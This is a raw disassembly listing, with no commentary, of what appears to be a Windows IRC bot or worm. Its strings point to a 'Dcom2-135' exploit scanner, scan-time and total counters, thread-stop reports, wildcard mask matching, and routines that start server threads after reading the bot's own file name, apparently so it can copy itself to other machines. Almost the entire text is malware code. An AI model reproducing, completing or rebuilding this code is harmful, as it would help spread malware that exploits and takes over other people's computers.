arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_409904
		push	[ebp+arg_1C]
		call	sub_417960
		pop	ecx


loc_409904:				; CODE XREF: sub_4098EB+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_409858
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_409930
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_417CB0
		add	esp, 14h
		jmp	short loc_40994A
; ---------------------------------------------------------------------------


loc_409930:				; CODE XREF: sub_4098EB+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_417CB0
		add	esp, 10h


loc_40994A:				; CODE XREF: sub_4098EB+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40996A
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_40996A:				; CODE XREF: sub_4098EB+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40F927
		pop	ecx
		leave
		retn
sub_4098EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409979	proc near		; CODE XREF: sub_4019A5+154p
					; sub_4096CE+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4495B4[eax], ecx
		mov	dword_4495A0[eax], ecx
		mov	dword_4495A4[eax], ecx
		mov	dword_4495A8[eax], ecx
		mov	dword_4495AC[eax], ecx
		mov	dword_4495B0[eax], ecx
		mov	byte ptr dword_4493A0[eax], cl
		mov	byte_4495B8[eax], cl
		retn
sub_409979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099B6	proc near		; CODE XREF: sub_401C87+5872p
					; sub_409ADE+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_409A18
; ---------------------------------------------------------------------------


loc_4099C2:				; CODE XREF: sub_4099B6+66j
		cmp	eax, 1
		jnz	short loc_409A29
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_409A29
		cmp	cl, 2Ah
		jz	short loc_409A01
		cmp	cl, 3Fh
		jz	short loc_4099E6
		cmp	cl, 5Bh
		jz	short loc_4099EB
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4099E6:				; CODE XREF: sub_4099B6+22j
		inc	[ebp+arg_4]
		jmp	short loc_409A14
; ---------------------------------------------------------------------------


loc_4099EB:				; CODE XREF: sub_4099B6+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_409A4A
		mov	esi, [ebp+arg_0]
		jmp	short loc_409A12
; ---------------------------------------------------------------------------


loc_409A01:				; CODE XREF: sub_4099B6+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_409ADE
		mov	esi, [ebp+arg_0]
		dec	esi


loc_409A12:				; CODE XREF: sub_4099B6+49j
		pop	ecx
		pop	ecx


loc_409A14:				; CODE XREF: sub_4099B6+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_409A18:				; CODE XREF: sub_4099B6+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_4099C2
		jmp	short loc_409A29
; ---------------------------------------------------------------------------


loc_409A20:				; CODE XREF: sub_4099B6+76j
		cmp	eax, 1
		jnz	short loc_409A45
		inc	esi
		mov	[ebp+arg_0], esi


loc_409A29:				; CODE XREF: sub_4099B6+Fj
					; sub_4099B6+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_409A20
		cmp	eax, 1
		jnz	short loc_409A45
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_409A45
		cmp	byte ptr [esi],	0
		jnz	short loc_409A45
		xor	eax, eax
		inc	eax
		jmp	short loc_409A47
; ---------------------------------------------------------------------------


loc_409A45:				; CODE XREF: sub_4099B6+6Dj
					; sub_4099B6+7Bj ...
		xor	eax, eax


loc_409A47:				; CODE XREF: sub_4099B6+8Dj
		pop	esi
		pop	ebp
		retn
sub_4099B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A4A	proc near		; CODE XREF: sub_4099B6+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_409A6B
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_409A6B:				; CODE XREF: sub_409A4A+19j
		push	ebx
		push	esi


loc_409A6D:				; CODE XREF: sub_409A4A+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_409A7B
		cmp	[ebp+var_4], eax
		jnz	short loc_409AC3


loc_409A7B:				; CODE XREF: sub_409A4A+2Aj
		test	edi, edi
		jnz	short loc_409AB8
		cmp	bl, 2Dh
		jnz	short loc_409AAC
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_409AAC
		cmp	al, 5Dh
		jz	short loc_409AAC
		cmp	[ebp+var_4], edi
		jnz	short loc_409AAC
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_409AB8
		cmp	bl, al
		jg	short loc_409AB8
		mov	[edx], esi
		jmp	short loc_409AB5
; ---------------------------------------------------------------------------


loc_409AAC:				; CODE XREF: sub_409A4A+38j
					; sub_409A4A+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_409AB8


loc_409AB5:				; CODE XREF: sub_409A4A+60j
		xor	edi, edi
		inc	edi


loc_409AB8:				; CODE XREF: sub_409A4A+33j
					; sub_409A4A+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_409A6D
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_409A4A+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_409AD0
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_409AD0:				; CODE XREF: sub_409A4A+7Ej
		cmp	edi, eax
		jnz	short loc_409AD9
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_409AD9:				; CODE XREF: sub_409A4A+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_409A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409ADE	proc near		; CODE XREF: sub_4099B6+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_409B0E
; ---------------------------------------------------------------------------


loc_409AF8:				; CODE XREF: sub_409ADE+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_409B09
		cmp	dl, 2Ah
		jnz	short loc_409B1B
		cmp	dl, 3Fh
		jnz	short loc_409B0C


loc_409B09:				; CODE XREF: sub_409ADE+1Fj
		inc	ecx
		mov	[edi], ecx


loc_409B0C:				; CODE XREF: sub_409ADE+29j
		inc	dword ptr [esi]


loc_409B0E:				; CODE XREF: sub_409ADE+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_409AF8
		jmp	short loc_409B1B
; ---------------------------------------------------------------------------


loc_409B18:				; CODE XREF: sub_409ADE+40j
		inc	eax
		mov	[esi], eax


loc_409B1B:				; CODE XREF: sub_409ADE+24j
					; sub_409ADE+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_409B18
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_409B3D
		cmp	[eax], bl
		jz	short loc_409B30
		xor	eax, eax
		jmp	short loc_409B9A
; ---------------------------------------------------------------------------


loc_409B30:				; CODE XREF: sub_409ADE+4Cj
		cmp	dl, bl
		jnz	short loc_409B3D
		cmp	[eax], bl
		jnz	short loc_409B3D
		xor	eax, eax
		inc	eax
		jmp	short loc_409B9A
; ---------------------------------------------------------------------------


loc_409B3D:				; CODE XREF: sub_409ADE+48j
					; sub_409ADE+54j ...
		push	ecx
		push	eax
		call	sub_4099B6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409B84


loc_409B4A:				; CODE XREF: sub_409ADE+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_409B5C
; ---------------------------------------------------------------------------


loc_409B50:				; CODE XREF: sub_409ADE+86j
		cmp	cl, 5Bh
		jz	short loc_409B66
		cmp	dl, bl
		jz	short loc_409B66
		inc	eax
		mov	[edi], eax


loc_409B5C:				; CODE XREF: sub_409ADE+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_409B50


loc_409B66:				; CODE XREF: sub_409ADE+75j
					; sub_409ADE+79j
		cmp	[eax], bl
		jz	short loc_409B7B
		push	eax
		push	dword ptr [esi]
		call	sub_4099B6
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_409B80
; ---------------------------------------------------------------------------


loc_409B7B:				; CODE XREF: sub_409ADE+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_409B80:				; CODE XREF: sub_409ADE+9Bj
		cmp	eax, ebx
		jnz	short loc_409B4A


loc_409B84:				; CODE XREF: sub_409ADE+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_409B97
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_409B97
		mov	[ebp+var_4], 1


loc_409B97:				; CODE XREF: sub_409ADE+AAj
					; sub_409ADE+B0j
		mov	eax, [ebp+var_4]


loc_409B9A:				; CODE XREF: sub_409ADE+50j
					; sub_409ADE+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B9F	proc near		; CODE XREF: sub_401C87+25DFp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_43F370
		push	eax
		xor	ebx, ebx
		call	sub_417CB0
		cmp	dword_43F068, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_409C11
		push	esi
		mov	esi, offset dword_43F070


loc_409BD2:				; CODE XREF: sub_409B9F+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_409C07
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_43F390
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_419200
		add	esp, 1Ch


loc_409C07:				; CODE XREF: sub_409B9F+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_409BD2
		pop	esi


loc_409C11:				; CODE XREF: sub_409B9F+2Bj
		push	dword_4D63A4
		call	sub_414606
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_419200
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40F927
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_409B9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6D	proc near		; CODE XREF: sub_401C87+25CCp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D9174
		mov	ecx, dword_4D9170
		push	esi
		push	dword_4D63A4
		lea	esi, [ecx+eax]
		call	sub_414606
		push	eax
		push	esi
		push	dword_4D9174
		lea	eax, [ebp+var_200]
		push	dword_4D9170
		push	offset unk_43F3B0
		push	eax
		call	sub_417CB0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40F927
		add	esp, 34h
		pop	esi
		leave
		retn
sub_409C6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CD8	proc near		; CODE XREF: sub_401C87+25B9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4D63A4
		call	sub_414606
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4D93A0
		push	offset unk_43F3F8
		push	eax
		call	sub_417CB0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40F927
		add	esp, 2Ch
		leave
		retn
sub_409CD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D2C	proc near		; CODE XREF: sub_401C87+25A6p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4181D0
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_43F424
		push	eax
		call	sub_417CB0
		cmp	dword_43F068, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_409D98
		push	esi
		mov	esi, offset aDcom2135_0	; "Dcom2-135"


loc_409D61:				; CODE XREF: sub_409D2C+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_43F440
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_419200
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_409D61
		pop	esi


loc_409D98:				; CODE XREF: sub_409D2C+2Dj
		push	dword_4D63A4
		call	sub_414606
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_419200
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_40F927
		add	esp, 34h
		pop	edi
		leave
		retn
sub_409D2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DF2	proc near		; DATA XREF: sub_401C87+1723o

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4D66A8	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_43F068, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_409F51
		mov	esi, offset dword_43F068
		mov	ebx, offset aDcom2135 ;	"dcom2-135"


loc_409E46:				; CODE XREF: sub_409DF2+159j
		push	[ebp+var_1C]
		push	dword ptr [esi]
		push	[ebp+var_8]
		call	sub_40A5E3
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_409F40
		push	dword ptr [esi]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebx+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_43F460
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_40764A
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_40F927
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_417CB0
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_409EDB
		lea	eax, [ebp+var_124]


loc_409EDB:				; CODE XREF: sub_409DF2+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_417CB0
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [esi]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+2Ch]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_409F40:				; CODE XREF: sub_409DF2+67j
		inc	[ebp+arg_0]
		add	ebx, 40h
		lea	esi, [ebx+28h]
		cmp	[esi], edi
		jnz	loc_409E46


loc_409F51:				; CODE XREF: sub_409DF2+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_43F490
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_40764A
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_40F927
		push	[ebp+var_18]
		call	sub_409979
		add	esp, 2Ch
		push	edi
		call	dword_4E03A0	; ExitThread
sub_409DF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FA4	proc near		; CODE XREF: sub_401C87+1F05p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jle	short loc_409FE0
		mov	eax, [ebp+arg_C]
		push	dword_4D67B8[eax*8]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_43F4C4
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	short loc_409FF3
; ---------------------------------------------------------------------------


loc_409FE0:				; CODE XREF: sub_409FA4+13j
		lea	eax, [ebp+var_200]
		push	offset unk_43F4E0
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_409FF3:				; CODE XREF: sub_409FA4+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40F927
		add	esp, 18h
		leave
		retn
sub_409FA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A01B	proc near		; CODE XREF: sub_40AA63+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40A4FB
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43F074[eax], ebx
		jz	loc_40A4FB
		push	5
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jnz	loc_40A295
		mov	eax, dword_43707C
		push	edi
		mov	esi, offset dword_4D8874
		push	104h
		push	esi
		push	ebx
		mov	dword_4D8A84, eax
		mov	dword_4D8A80, ebx
		call	dword_4E0334	; GetModuleFileNameA
		mov	edi, offset byte_4370EC
		push	103h
		push	edi
		push	offset dword_4D8978
		call	sub_417760
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D8870, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D8B08, eax
		jnz	short loc_40A0CB
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D8A88
		call	sub_417760
		mov	dword_4D8B0C, 1
		jmp	short loc_40A0E2
; ---------------------------------------------------------------------------


loc_40A0CB:				; CODE XREF: sub_40A01B+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D8A88
		call	sub_417760
		mov	dword_4D8B0C, ebx


loc_40A0E2:				; CODE XREF: sub_40A01B+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D8A84
		push	offset unk_43F500
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_409663
		add	esp, 1Ch
		mov	dword_4D8A7C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D8870
		push	offset sub_40F3B8
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, dword_4D8A7C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	loc_40A1E6
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43F534
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_40A160:				; CODE XREF: sub_40A01B+1D3j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40F927
		mov	eax, dword_4D63A0
		mov	esi, offset dword_4D8B1C
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4D8D2C, eax
		mov	dword_4D8D28, ebx
		call	dword_4E0334	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4D8C20
		call	sub_417760
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D8B18, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4D8DB0, eax
		push	7Fh
		jnz	short loc_40A1F3
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D8D30
		call	sub_417760
		mov	dword_4D8DB4, 1
		jmp	short loc_40A20A
; ---------------------------------------------------------------------------


loc_40A1DE:				; CODE XREF: sub_40A01B+1D1j
		push	32h
		call	dword_4E033C	; Sleep


loc_40A1E6:				; CODE XREF: sub_40A01B+124j
		cmp	dword_4D8B10, ebx
		jz	short loc_40A1DE
		jmp	loc_40A160
; ---------------------------------------------------------------------------


loc_40A1F3:				; CODE XREF: sub_40A01B+1A7j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D8D30
		call	sub_417760
		mov	dword_4D8DB4, ebx


loc_40A20A:				; CODE XREF: sub_40A01B+1C1j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D8D2C
		push	offset unk_43F568
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_409663
		add	esp, 1Ch
		mov	dword_4D8D24, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D8B18
		push	offset sub_40D0F7
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, dword_4D8D24
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	loc_40A30E
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43F59C
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_40A288:				; CODE XREF: sub_40A01B+2FBj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40F927
		pop	ecx


loc_40A295:				; CODE XREF: sub_40A01B+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43F07C[ecx], ebx
		jz	loc_40A3C2
		push	7
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jnz	loc_40A3BC
		mov	eax, dword_4D939C
		cmp	[ebp+arg_90], bl
		mov	dword_4D87DC, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4D87D0, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4D87D8, ebx
		mov	dword_4D8860, eax
		push	7Fh
		jnz	short loc_40A31B
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D87E0
		call	sub_417760
		mov	dword_4D8864, 1
		jmp	short loc_40A332
; ---------------------------------------------------------------------------


loc_40A306:				; CODE XREF: sub_40A01B+2F9j
		push	32h
		call	dword_4E033C	; Sleep


loc_40A30E:				; CODE XREF: sub_40A01B+24Cj
		cmp	dword_4D8DB8, ebx
		jz	short loc_40A306
		jmp	loc_40A288
; ---------------------------------------------------------------------------


loc_40A31B:				; CODE XREF: sub_40A01B+2CFj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D87E0
		call	sub_417760
		mov	dword_4D8864, ebx


loc_40A332:				; CODE XREF: sub_40A01B+2E9j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	dword_4D87DC
		push	offset unk_43F5D0
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_409663
		add	esp, 18h
		mov	dword_4D87D4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D87D0
		push	offset sub_40CE55
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, dword_4D87D4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	loc_40A4B4
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43F600
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_40A3AF:				; CODE XREF: sub_40A01B+4A1j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40F927
		pop	ecx


loc_40A3BC:				; CODE XREF: sub_40A01B+29Bj
		mov	eax, [ebp+arg_130]


loc_40A3C2:				; CODE XREF: sub_40A01B+28Bj
		shl	eax, 6
		cmp	dword_43F078[eax], ebx
		jz	loc_40A4FB
		push	3
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jnz	loc_40A4FB
		mov	esi, offset dword_4D904C
		push	104h
		push	esi
		push	ebx
		call	dword_4E0334	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_418800
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A403
		mov	[eax], bl


loc_40A403:				; CODE XREF: sub_40A01B+3E4j
		mov	eax, dword_437080
		mov	dword_4D9164, ebx
		mov	dword_4D9150, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D8DC4
		call	sub_417CB0
